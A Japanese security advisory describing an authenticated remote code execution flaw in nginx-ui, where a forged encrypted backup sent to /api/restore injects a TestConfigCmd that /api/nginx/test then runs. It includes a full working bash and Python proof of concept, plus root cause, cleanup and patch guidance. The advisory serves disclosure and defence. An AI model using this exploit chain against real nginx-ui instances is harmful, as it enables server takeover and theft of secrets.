Nginx UI: 認証済みユーザーによるリモートコード実行の脆弱性(バックアップ復元機能の悪用)

## 概要

認証済みのnginx-uiユーザーは、`POST /api/restore`を呼び出し、改ざんされた暗号化されたバックアップファイルをアップロードし、`app.ini`を復元し、`TestConfigCmd`などのnginxコマンド設定を変更し、その後、`POST /api/nginx/test`によってコマンド実行をトリガーすることができます。

これは、ローカルのDockerコンテナ`uozi/nginx-ui:latest`上で動作するnginx-uiのバージョン`2.3.11 2(523) 6c86e5a5`で検証されました。

## 影響

認証済みのユーザーは、復元機能を通じてnginx-uiのアプリケーション設定とデータベースの状態を上書きすることができます。通常、設定APIからは書き換えできない保護された設定も含まれます。復元された`app.ini`にnginxコマンドフィールドを設定することで、攻撃者はnginx-uiの実行環境内でコマンドを実行することができます。これにより、機密性、完全性、可用性に影響が生じる可能性があります。攻撃者は、シークレットを読み取ったり置き換えたり、ノード/JWTのシークレットを変更したり、アプリケーションの状態を破壊したり、任意のコマンドを実行したりする可能性があります。

## 影響を受けるバージョン/環境

- バージョン: `nginx-ui 2.3.11 2(523) 6c86e5a5`
- デプロイメント: ローカルDocker、`uozi/nginx-ui:latest`
- 検証に使用されたベースURL: `http://127.0.0.1:8080`

## 根本原因

`/api/restore`は、通常の認証済みユーザーの権限でアクセス可能です。復元ハンドラは、攻撃者によって提供されたバックアップキーを受け取り、その提供されたAESキーから派生したキーを使用してマニフェストを検証し、攻撃者が制御するバックアップの内容を復号し、復元された`app.ini`をnginx-uiの実行中の設定パスにコピーします。

関連するコードパス:

- `api/backup/router.go`: `POST /api/restore`
- `api/backup/restore.go`: `security_token`とアップロードされたバックアップファイルをAccept
- `internal/backup/manifest.go`: 提供されたAESキーからバックアップの署名キーを派生
- `internal/backup/restore.go`: `restoreNginxUIConfig`が実行中の`app.ini`を上書き
- `internal/nginx/exec.go`: nginxコマンド設定がシェルベースのコマンドパスを通じて実行される

## 実証方法
前提条件:

- nginx-ui はすでに実行中です。
- `$TOKEN` は有効なユーザー JWT です。
- `$CONTAINER` は、クリーンアップと証拠確認のために使用されるローカルの一時的な Docker コンテナの名前です。

```bash
export BASE='http://127.0.0.1:8080'
export TOKEN='<有効な nginx-ui JWT>'
export CONTAINER='nginx-ui'
```

ローカルの一時的なインスタンスに対してのみ実行してください。

```bash
set -eu

TMP=$(mktemp -d)
trap 'rm -rf "$TMP"' EXIT

docker cp "$CONTAINER":/etc/nginx-ui/app.ini "$TMP/app.ini.original"

curl -sS -D "$TMP/backup.headers" -o "$TMP/backup.zip" \
-H "Authorization: $TOKEN" \
"$BASE/api/backup"

SEC=$(awk 'BEGIN{IGNORECASE=1} /^X-Backup-Security:/{gsub("\r",""); print $2}' "$TMP/backup.headers")
KEY_B64=${SEC%%:*}
IV_B64=${SEC#*:}
KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 256)
IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 256)

mkdir -p "$TMP/outer" "$TMP/inner"
unzip -q "$TMP/backup.zip" -d "$TMP/outer"
openssl enc -d -aes-256-cbc -K "$KEY_HEX" -iv "$IV_HEX" -nosalt \
-in "$TMP/outer/nginx-ui.zip" \
-out "$TMP/nginx-ui.clear.zip"
unzip -q "$TMP/nginx-ui.clear.zip" -d "$TMP/inner"

python3 - "$TMP/inner/app.ini" <<'PY'
from pathlib import Path
import sys

p = Path(sys.argv[1])
cmd = "TestConfigCmd = printf restored-rce >/tmp/nginx-ui-restore-rce"
lines = p.read_text().splitlines()
out = []
in_nginx = False
seen_nginx = False
written = False

for line in lines:
s = line.strip()
if s.startswith("[") and s.endswith("]"):
if in_nginx and not written:
out.append(cmd)
written = True
in_nginx = s.lower() == "[nginx]"
seen_nginx = seen_nginx or in_nginx
if in_nginx and s.startswith("TestConfigCmd"):
if not written:
out.append(cmd)
written = True
continue
out.append(line)

if in_nginx and not written:
out.append(cmd)
elif not seen_nginx:
out.extend(["", "[nginx]", cmd])

p.write_text("\n".join(out) + "\n")
PY

(cd "$TMP/inner" && zip -qr "$TMP/nginx-ui.modified.clear.zip" .)
openssl enc -aes-256-cbc -K "$KEY_HEX" -iv "$IV_HEX" -nosalt \
-in "$TMP/nginx-ui.modified.clear.zip" \
-out "$TMP/outer/nginx-ui.zip"

OUTER="$TMP/outer" KEY_B64="$KEY_B64" python3 <<'PY'
from pathlib import Path
import base64
import hashlib
import hmac
import json
import os

outer = Path(os.environ["OUTER"])
key = base64.b64decode(os.environ["KEY_B64"])
manifest = json.loads((outer / "manifest.json").read_text())

for entry in manifest["files"]:
data = (outer / entry["name"]).read_bytes()
entry["sha256"] = hashlib.sha256(data).hexdigest()
entry["size"] = len(data)

manifest["files"] = sorted(manifest["files"], key=lambda e: e["name"])
manifest_bytes = json.dumps(manifest, separators=(",", ":")).encode()
(outer / "manifest.json").write_bytes(manifest_bytes)

signing_key = hashlib.sha256(b"nginx-ui-backup-signing-v1:" + key).digest()
(outer / "manifest.sig").write_text(hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest())
PY

(cd "$TMP/outer" && zip -qr "$TMP/malicious-restore.zip" manifest.sig nginx-ui.zip nginx.zip manifest.json)

curl -sS -X POST "$BASE/api/restore" \
-H "Authorization: $TOKEN" \
-F "restore_nginx=false" \
-F "restore_nginx_ui=true" \
-F "verify_hash=true" \
-F "security_token=$SEC" \
-F "backup_file=@$TMP/malicious-restore.zip"

sleep 10
for i in $(seq 1 80); do
curl -sS -o /dev/null -H "Authorization: $TOKEN" "$BASE/api/settings" && break
sleep 0.5
done

curl -sS -X POST "$BASE/api/nginx/test" \
-H "Authorization: $TOKEN"

docker exec "$CONTAINER" sh -lc 'cat /tmp/nginx-ui-restore-rce'

# Cleanup and return the disposable instance to its original config.
docker cp "$TMP/app.ini.original" "$CONTAINER":/etc/nginx-ui/app.ini
docker exec "$CONTAINER" sh -lc 'rm -f /tmp/nginx-ui-restore-rce'
docker restart "$CONTAINER"

```text
{"nginx_ui_restored":true,"nginx_restored":false,"hash_match":true}
{"message":"","level":-1,"test_scope":"global"}
restored-rce

## クリーンアップ

このPoCは、最後にクリーンアップ処理を行います。中断された場合は、元の`app.ini`ファイルを、正常なバックアップから復元し、`/tmp/nginx-ui-restore-rce`を削除し、nginx-uiを再起動してから、他のテストを続行してください。

## パッチに関するガイダンス

復元には、管理者権限が必要なセッションを要求します。通常の認証ユーザーがnginx-uiのアプリケーションの状態を復元できないようにします。バックアップマニフェストの署名を、サーバー側の秘密鍵または管理者のみが持つパスフレーズにバインドします。保護されたアプリケーション設定が、厳格な移行パスを通じて明示的に承認された場合にのみ復元できるようにします。

影響を受けるパッケージ:
- go github.com/0xJacky/Nginx-UI: 影響を受けるバージョンは、>= 1.9.10-0.20260421071512-7864e378f5cf、< 1.9.10-0.20260728074146-a467ed652591。修正されたバージョンは、1.9.10-0.20260728074146-a467ed652591です。
```